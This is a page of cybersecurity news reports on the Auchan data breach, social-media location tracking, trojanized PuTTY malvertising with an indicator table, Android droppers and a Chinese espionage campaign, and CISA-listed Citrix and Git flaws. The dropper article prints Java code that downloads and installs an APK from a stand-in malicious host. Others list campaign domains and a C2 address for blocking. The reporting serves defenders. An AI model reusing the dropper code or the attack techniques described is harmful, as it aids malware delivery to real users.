Major French retail chain Auchan announced on August 21, 2025, that it suffered a significant cybersecurity incident resulting in the unauthorized access and theft of personal data from “several hundred thousand” customer loyalty accounts.
The breach represents another critical example of retail sector vulnerabilities to Advanced Persistent Threats (APTs) targeting customer databases containing Personally Identifiable Information (PII).
Le Monde reports that the cyberattack compromised multiple data fields within Auchan’s customer relationship management system, including first and last names, email addresses, postal addresses, telephone numbers, and loyalty card numbers.
Security analysts note that this data profile suggests attackers gained access to the retailer’s Customer Loyalty Management (CLM) database, likely through SQL injection vulnerabilities or privileged account compromise.
Notably, Auchan confirmed that financial data, authentication credentials (passwords), loyalty card PIN codes, and customer reward balances remained secure, indicating the breach was contained to specific database tables rather than achieving full system compromise.
This suggests the implementation of a defense-in-depth architecture with data segmentation protocols that prevent lateral movement to more sensitive systems.
The attack methodology appears consistent with data harvesting operations commonly executed by cybercriminal groups targeting retail Point-of-Sale (POS) networks and customer databases for subsequent credential stuffing attacks or Business Email Compromise (BEC) campaigns.
Auchan’s Response
Auchan immediately initiated incident response protocols, notifying affected customers and filing mandatory breach reports with France’s Commission Nationale de l’Informatique et des Libertés (CNIL).
The company warned customers about increased phishing risks, specifically smishing (SMS phishing) and email-based social engineering attacks exploiting the stolen contact information.
This incident marks Auchan’s second major cybersecurity breach within nine months, following a similar attack in November 2024.
The repeated targeting suggests threat actors may have maintained persistent access or identified systemic vulnerabilities within the retailer’s infrastructure.
Security researchers recommend implementing Zero Trust Architecture (ZTA), Multi-Factor Authentication (MFA), and enhanced Security Information and Event Management (SIEM) monitoring to prevent future intrusions.
The attack aligns with France’s challenging cybersecurity landscape in 2025, which has witnessed major breaches, including the Bouygues Telecom incident affecting over six million customers with compromised banking details.
These incidents underscore the critical need for enhanced threat intelligence sharing and proactive vulnerability management across France’s retail and telecommunications sectors.
Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant Updates.
Google Threat Intelligence Group (GTIG) has uncovered a multifaceted cyber espionage operation attributed to the PRC-nexus threat actor UNC6384, believed to be associated with TEMP.Hex (also known as Mustang Panda). This campaign, aligned with China’s strategic interests, primarily targeted diplomats in Southeast Asia alongside global entities, employing advanced tactics such as adversary-in-the-middle (AitM) attacks, captive […]
A comprehensive analysis of the top 10 social media platforms reveals that X (formerly Twitter) stands out as the most invasive collector of user location information, gathering both precise and coarse location data across all categories listed in Apple’s App Store privacy framework.
This extensive data harvesting raises significant privacy concerns as location tracking can expose intimate details about users’ personal and professional lives.
Key Takeaways 1. X collects both precise and coarse location data for every use case. 2. Location tracking can uncover sensitive personal details. 3. Only Reddit avoids identity linkage; mitigate via disabling services, VPNs, and permission audits.
Location Data Harvesting
Unlike its competitors, X collects location data for every possible purpose outlined in App Store privacy policies.
The platform gathers both precise location data coordinates with three or more decimal places in latitude and longitude, and coarse location data with lower resolution accuracy.
This comprehensive approach includes third-party advertising, internal marketing, analytics, product personalization, app functionality, user tracking, and unspecified “other purposes.”
A visual breakdown highlighting how various social media platforms, including X, collect users’ precise location data for multiple purposes. (Source: Surfshark)
The study reveals that 60% of analyzed social media platforms collect precise location data for third-party advertising, including X, Instagram, Threads, Facebook, Pinterest, and Snapchat.
However, X’s approach extends beyond advertising into tracking territory, where it may combine location information with data from other applications or websites. This practice potentially enables data sharing with data brokers who can subsequently sell user information to third-party businesses.
Surfshark reports that the location tracking methodologies employed by these platforms utilize various geolocation vectors including Global Positioning System (GPS) coordinates, Bluetooth Low Energy (BLE) beacons, Wi-Fi access point triangulation, cellular tower positioning, and Internet Protocol (IP) address geolocation.
Even when users disable precise location sharing through system settings, platforms can still derive approximate locations through these alternative data sources.
The privacy implications of aggressive location tracking extend far beyond simple geographical awareness.
Continuous location monitoring at 30-minute intervals can construct detailed behavioral profiles revealing employment locations, salary brackets inferred from workplace addresses, medical conditions through healthcare facility visits, and potentially compromising personal relationships through overnight location correlations.
Among the analyzed platforms, only Reddit implements user-centric privacy protections by declaring that location data will not be linked to user identity.
TikTok and Reddit demonstrate more conservative approaches by exclusively collecting coarse location data rather than precise coordinates.
In contrast, X’s comprehensive data collection strategy encompasses both precision levels across all functional categories.
The study methodology examined App Store privacy labels for X, Instagram, Threads, Facebook, Pinterest, Snapchat, LinkedIn, TikTok, YouTube, and Reddit as of August 11, 2025.
While 90% of platforms collect coarse location data and 60% gather precise coordinates for internal advertising purposes, X’s universal collection approach represents the most extensive location data harvesting among major social media applications.
Technical mitigation strategies for users include disabling location services at the operating system level, utilizing Virtual Private Network (VPN) services to mask IP-based geolocation, and regularly auditing app permissions through system privacy settings.
However, complete location privacy remains challenging given the multiple data vectors available to determined platforms.
Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant Updates.
Maryland’s transit network experienced widespread disruption this week after a sophisticated cyberattack targeted critical information systems, forcing the Maryland Transit Administration (MTA) and the Department of Information Technology (DoIT) to scramble containment efforts. While most core services remain operational, significant impacts to scheduling and real-time information have left thousands of commuters seeking alternative arrangements. DoIT […]
Cybersecurity researchers have discovered a new variant of an Android banking trojan called HOOK that features ransomware-style overlay screens to display extortion messages.
“A prominent characteristic of the latest variant is its capacity to deploy a full-screen ransomware overlay, which aims to coerce the victim into remitting a ransom payment,” Zimperium zLabs researcher Vishnu Pratapagiri
A malvertising campaign using sponsored results on Microsoft’s search platform delivered a weaponized PuTTY that established persistence, enabled hands-on keyboard control, and executed Kerberoasting to target Active Directory service accounts.
According to an investigation published by LevelBlue’s MDR SOC and corroborated by independent research tracking Oyster/Broomstick backdoor activity tied to trojanized admin tools distributed via search ads and SEO poisoning.
Search results highlight a sponsored link for downloading PuTTY, illustrating the malvertising tactics used in the campaign.
LevelBlue’s SOC received a SentinelOne high-risk alert in USM Anywhere, flagging a suspicious PuTTY.exe download signed by “NEW VISION MARKETING LLC,” an unexpected signer for legitimate PuTTY and the first red flag on the endpoint.
The analysis highlighted outbound traffic from PuTTY.exe to malicious infrastructure, suspicious DLL creation in %appdata% and %temp%, scheduled-task persistence via rundll32 DllRegisterServer, and HOK activity culminating in Kerberoasting.
Next, the asset was isolated, the account was disabled, and execution chains were reconstructed. This revealed that the fake installer had scheduled a task, “Security Updater,” to run every three minutes, loading a malicious DLL (twain_96.dll). This DLL then dropped “green.dll,” which was used for operator access and reconnaissance.
Weaponized PuTTY to Exploit Kerberos
Fake PuTTY with an anomalous code-signing certificate executed and created a scheduled task persistence, invoking rundll32 with DllRegisterServer at three-minute intervals.
The first-stage DLL (twain_96[.]dll) dropped a second-stage (green[.]dll) that initiated a single outbound 443 connection and spawned cmd[.]exe for discovery commands consistent with ransomware operator TTPs (nltest, net group domain admins, nltest /dclist).
SentinelOne telemetry and VirusTotal classifications mapped the DLLs to the Oyster/Broomstick backdoor family known for hardcoded C2, scheduled-task persistence, and remote command execution.
The final recorded action was an inline PowerShell script performing Kerberoasting, requesting TGS tickets for SPN-bearing accounts and leveraging weak RC4-HMAC if AES enforcement was absent, then extracting ticket bytes in-memory to emit Hashcat-ready $krb5tgs$ material (mode 13100).
PowerShell script showcasing a command execution bypass designed for Kerberoasting
The script borrowed from Invoke-Kerberoast patterns, executed fully in-memory without disk writes, and was validated via USM Anywhere events showing RC4-HMAC-encrypted Kerberos service tickets (Event ID 4769). This enabled offline cracking of service account credentials for privilege escalation and lateral movement against AD services.
LevelBlue traced the initial access to malicious sponsored results impersonating putty[.]org and redirecting to typosquatted domains such as puttyy[.]org and puttysystems[.]com that delivered the trojanized installer, with payload hosting observed via heartlandenergy[.]ai and a rotating loader script at putty[.]network pulling from compromised WordPress sites.
The MDR team noted variant payload hashes, multiple code-signing certificates (including NEW VISION MARKETING LLC) to evade hash/signer-based detections, and alternate scheduled-task names such as “FireFox Agent INC” in sandboxed samples.
This activity aligns with broader 2024–2025 malvertising/SEO poisoning trends delivering trojanized PuTTY/WinSCP and Oyster/Broomstick, as reported by Rapid7 and Arctic Wolf.
Here is a consolidated table of the reported IOCs from the LevelBlue investigation into weaponized PuTTY malvertising tied to the Oyster/Broomstick backdoor; add these to blocklists and detection pipelines for rapid containment. The entries below reflect the indicators documented by LevelBlue and aligned open-source reporting on the same campaign.
Below is the consolidated IOC table combining domains, hashes, signers, IPs, URLs, and scheduled tasks linked to the weaponized PuTTY/Oyster malvertising activity. Use these indicators for blocklists, retro-hunting, and detection content.
Type
Indicator
Context/Notes
Domain
puttyy[.]org
Typosquat used to deliver trojanized PuTTY installers.
Domain
puttysystems[.]com
Malvertising landing used to impersonate PuTTY download.
Domain
updaterputty[.]com
Newly registered domain associated with campaign flow.
Domain
putty[.]bet
Campaign-associated domain registration.
Domain
puttyy[.]com
Typosquat tied to delivery infrastructure.
Domain
putty[.]run
Campaign-associated domain registration.
Domain
putty[.]lat
Campaign-associated domain registration.
Domain
putty[.]us[.]com
Campaign-associated domain registration.
Domain
heartlandenergy[.]ai
Observed hosting payload behind “Download PuTTY.”
Domain
putty[.]network
Loader page rotating mirrors via JS for payload checks.
Domain
ruben.findinit[.]com
Compromised WordPress site used to serve payloads.
Domain
ekeitoro.siteinwp[.]com
Compromised WordPress site used to serve payloads.
Domain
danielaurel[.]tv
Compromised WordPress site used to serve payloads.
Persistence via rundll32 DllRegisterServer at 3‑minute intervals.
Scheduled task
FireFox Agent INC
Alternate task name seen in sandboxed samples.
Recommendations include blocking the identified domains, enforcing AES for Kerberos on SPN accounts, rotating credentials for affected SPNs, and restricting software acquisition to vetted repositories and official vendor sites.
Security teams should deploy custom detections for rundll32 DllRegisterServer misuse, three-minute recurring scheduled tasks, in-memory Kerberoasting patterns, and storyline correlations linking fake admin tools to DLL drops and cmd.[]exe reconnaissance.
Continuous user training for privileged staff and rapid MDR-led threat hunting across fleets can reduce dwell time and blunt credential theft-to-ransomware escalation paths.
Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant Updates.
A comprehensive study examining the location data practices of the top 10 social media platforms has uncovered concerning patterns of user tracking that extend far beyond what most users realize. The research, which analyzed App Store disclosures from major platforms including X, Instagram, Facebook, TikTok, and others, reveals that X stands out as the most aggressive […]
Android droppers have evolved from niche installers for heavyweight banking Trojans into universal delivery frameworks, capable of deploying even rudimentary spyware or SMS stealers.
Initially, droppers served banking malware families that required elevated Accessibility permissions to harvest credentials.
These small applications appeared innocuous at first glance, often masquerading as utility or government apps in high-risk regions. Once installed, they would fetch their true payload, request powerful permissions, and activate their malicious routines.
As defenders strengthened pre-installation scanning, threat actors began rethinking their approach.
In recent months, a surge in dropper-based campaigns targeting Asia—particularly India and Southeast Asia—has emerged. Rather than rely solely on complex RATs or financial Trojans, adversaries now encapsulate simple payloads within dropper shells.
This strategy exploits a critical gap in Google Play Protect’s Pilot Program, which performs a pre-installation permission and API scan but allows installation to proceed if the user confirms.
Threat Fabric analysts noted that this pivot not only circumvents upfront defenses but also future-proofs operations, enabling rapid payload swaps without modifying the dropper itself.
By embedding minimalist stage-one code that carries no high-risk permissions, modern droppers slip through Pilot Program inspections undetected.
RewardDropMiner (Source – Threat Fabric)
Threat Fabric researchers identified variants like RewardDropMiner.B, stripped of its Monero miner and fallback spyware, retaining only the dropper logic to reduce noise and evade detection.
Once the benign “update” prompt is accepted by a user, a concealed routine fetches or decrypts the secondary APK, dynamically requesting RECEIVE_SMS or BIND_NOTIFICATION permissions only upon first launch of the true payload.
The impact of these campaigns is twofold: defenders lose early visibility into malicious activity, and operators maintain a stable foothold capable of delivering arbitrary payloads.
This modularity allows threat actors to react swiftly to security updates or law enforcement takedowns by uploading new payloads behind an unchanged dropper shell hosted on their command-and-control infrastructure.
Infection Mechanism and Evasion Tactics
Delving into the infection mechanism reveals a multi-stage process designed for stealth and resiliency. The dropper’s manifest declares only INTERNET and REQUEST_INSTALL_PACKAGES permissions, avoiding flags in Play Protect’s Pilot scan.
Upon user interaction with the “update” interface, the dropper initiates an HTTPS request to a remote server:-
String payloadUrl = "https://malicious.example.com/payload.apk";
OkHttpClient client = new OkHttpClient();
Request request = new Request.Builder().url(payloadUrl).build();
Response response = client.newCall(request).execute();
if (response.isSuccessful()) {
File apk = new File(getExternalFilesDir(null), "payload.apk");
try (FileOutputStream fos = new FileOutputStream(apk)) {
fos.write(response.body().bytes());
}
Intent installIntent = new Intent(Intent.ACTION_VIEW);
installIntent.setDataAndType(
FileProvider.getUriForFile(this, getPackageName()+".provider", apk),
"application/vnd.android.package-archive"
);
installIntent.addFlags(Intent.FLAG_GRANT_READ_URI_PERMISSION);
startActivity(installIntent);
}
This snippet exemplifies the dropper’s use of standard APIs to download and prompt installation of the payload without triggering high-risk permission alerts.
After installation, the payload’s launcher activity requests RECEIVE_SMS and BIND_NOTIFICATION, at which point Play Protect may warn the user—but often too late, as trust in the initial dropper transfer extends to the newly installed app.
These evasion tactics highlight a pressing need for defenders to correlate pre- and post-install scans and to monitor side-loaded application behavior continuously.
Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.
A stealthy espionage campaign emerged in early 2025 targeting diplomats and government entities in Southeast Asia and beyond.
At the heart of this operation lies STATICPLUGIN, a downloader meticulously disguised as a legitimate Adobe plugin update.
Victims encountered a captive portal hijack that redirected browsers to malicious domains, where an HTTPS-secured landing page prompted users to “Install Missing Plugins…”—a ruse to lower suspicion and bypass browser warnings.
Malware landing page (Source -Google Cloud)
Once executed, the binary deployed a multi-stage chain culminating in the in-memory launch of the SOGU.SEC backdoor.
Following the initial compromise, STATICPLUGIN retrieves an MSI package masquerading as a BMP image. Inside this package resides CANONSTAGER, which is DLL side-loaded to execute the encrypted payload cnmplog.dat.
This side-loading technique exploits trusted Windows components to evade host-based defenses. Google Cloud analysts identified this novel combination of captive portal hijacking and valid code signing as a sophisticated evolution in PRC-nexus tradecraft.
Evidence indicates that Chengdu Nuoxin Times Technology Co., Ltd. issued the signing certificates used for STATICPLUGIN, lending the downloader false legitimacy.
These certificates, issued by GlobalSign and Let’s Encrypt, allowed the malware to bypass many endpoint security solutions that trust digitally signed binaries.
Downloader with valid digital signature (Source -Google Cloud)
Google Cloud researchers noted that although the original certificate expired on July 14, 2025, UNC6384 likely re-signs subsequent build iterations to maintain uninterrupted stealth.
Detailed analysis of CANONSTAGER reveals unconventional evasion tactics. The launcher resolves Windows API addresses using a custom hashing algorithm and stores them in Thread Local Storage (TLS), an atypical location that may go unnoticed by monitoring tools.
Example of storing function addresses in TLS array (Source -Google Cloud)
By invoking these functions indirectly through a hidden window procedure and dispatching a WM_SHOWWINDOW message, CANONSTAGER conceals its true control flow within legitimate Windows message queues.
Overview of CANONSTAGER execution using Windows message queue (Source -Google Cloud)
Detection Evasion through In-Memory Execution
One of UNC6384’s most remarkable innovations lies in its end-to-end in-memory execution. After establishing the hidden window and resolving APIs, CANONSTAGER creates a new thread to decrypt cnmplog.dat using a hardcoded 16-byte RC4 key.
Rather than writing the decrypted SOGU.SEC payload to disk, the launcher invokes EnumSystemGeoID as a callback function to execute the backdoor directly in memory.
This technique denies defenders valuable forensic artifacts, as no malicious binary resides on disk.
Moreover, communications with the C2 server at 166.88.2.90 occur over HTTPS, blending with normal web traffic and further complicating network-based detection.
The initial JavaScript triggers the download of AdobePlugins.exe, setting the stage for in-memory execution. By avoiding disk writes and leveraging valid certificates, UNC6384 has raised the bar for malware stealth.
As Google Cloud analysts continue to monitor this campaign, defenders are urged to inspect memory artifacts, enforce strict code-signing policies, and enable Enhanced Safe Browsing to detect anomalous TLS certificates and captive portal hijacks.
Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.
CISA has issued a critical alert regarding three newly identified vulnerabilities being actively exploited by threat actors.
On August 25, 2025, CISA added these high-risk Common Vulnerabilities and Exposures (CVEs) to its Known Exploited Vulnerabilities (KEV) Catalog, signaling immediate concern for federal agencies and private organizations alike.
Key Takeaways 1. CISA added two Citrix Session Recording CVEs and one Git CVE to its KEV Catalog. 2. Citrix flaws require authenticated local access; Git flaw exploits symlinked hooks for arbitrary code. 3. Federal agencies must patch per BOD 22-01; all organizations should update immediately.
Citrix Session Recording Vulnerabilities
Two of the three vulnerabilities target Citrix Session Recording infrastructure, presenting significant security risks for organizations utilizing this enterprise monitoring solution.
CVE-2024-8069, classified as a deserialization of untrusted data vulnerability with a CVSS 4.0 score of 5.1 (Medium), enables limited remote code execution with NetworkService Account privileges.
The vulnerability leverages CWE-502 (Deserialization of Untrusted Data) weakness, allowing authenticated attackers on the same intranet as the session recording server to execute arbitrary code.
The attack vector requires the threat actor to be an authenticated user within the target network, utilizing the CVSS 4.0 vector string CVSS:4.0/AV:A/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N.
This indicates Adjacent Network access with Low complexity, requiring Low privileges but no user interaction.
CVE-2024-8068 represents a privilege escalation vulnerability with identical CVSS scoring, exploiting CWE-269 (Improper Privilege Management).
This flaw allows authenticated users within the same Windows Active Directory domain to escalate privileges to NetworkService Account access, potentially compromising the entire session recording infrastructure.
Both Citrix vulnerabilities affect multiple Long Term Service Release (LTSR) versions, including 1912 LTSR before CU9 hotfix 19.12.9100.6, 2203 LTSR before CU5 hotfix 22.03.5100.11, 2402 LTSR before CU1 hotfix 24.02.1200.16, and the 2407 Current Release before version 24.5.200.8.
Git Link Following Vulnerability
The third addition, CVE-2025-48384, affects Git version control systems with a higher CVSS 3.1 score of 8.1 (High).
This vulnerability exploits CWE-59 (Improper Link Resolution Before File Access) and CWE-436 (Interpretation Conflict), enabling arbitrary code execution through broken configuration quoting mechanisms.
The attack leverages Git’s handling of carriage return and line feed (CRLF) characters in configuration values.
When initializing submodules with trailing CR characters in the path, Git incorrectly processes the altered path, potentially allowing symlink-based attacks.
If an attacker creates a symlink pointing the altered path to the submodule hooks directory and includes an executable post-checkout hook, malicious scripts may execute unintentionally after checkout operations.
The vulnerability affects Git versions prior to 2.43.7, 2.44.4, 2.45.4, 2.46.4, 2.47.3, 2.48.2, 2.49.1, and 2.50.1, with the CVSS vector CVSS:3.1/AV:N/AC:H/PR:L/UI:R/S:C/C:H/I:H/A:H indicating Network access with High complexity but potentially catastrophic impact.
CVE
Title
CVSS 3.1 Score
Severity
CVE-2024-8069
Limited remote code execution with NetworkService privileges
8.8
High
CVE-2024-8068
Privilege escalation to NetworkService Account access
8.0
High
CVE-2025-48384
Git allows arbitrary code execution through broken config quoting
8.1
High
Mitigations
Under Binding Operational Directive (BOD) 22-01, Federal Civilian Executive Branch (FCEB) agencies must remediate these KEV-listed vulnerabilities by their specified due dates.
CISA strongly recommends that all organizations prioritize remediation of these actively exploited vulnerabilities.
The agency continues expanding the KEV Catalog based on evidence of in-the-wild exploitation, emphasizing the critical nature of these security flaws for both public and private sector entities.
Organizations should immediately assess their exposure to these vulnerabilities, particularly those utilizing Citrix Session Recording infrastructure or Git-based development workflows, and implement available patches to prevent potential compromise.
Find this Story Interesting! Follow us on LinkedIn and X to Get More Instant Updates.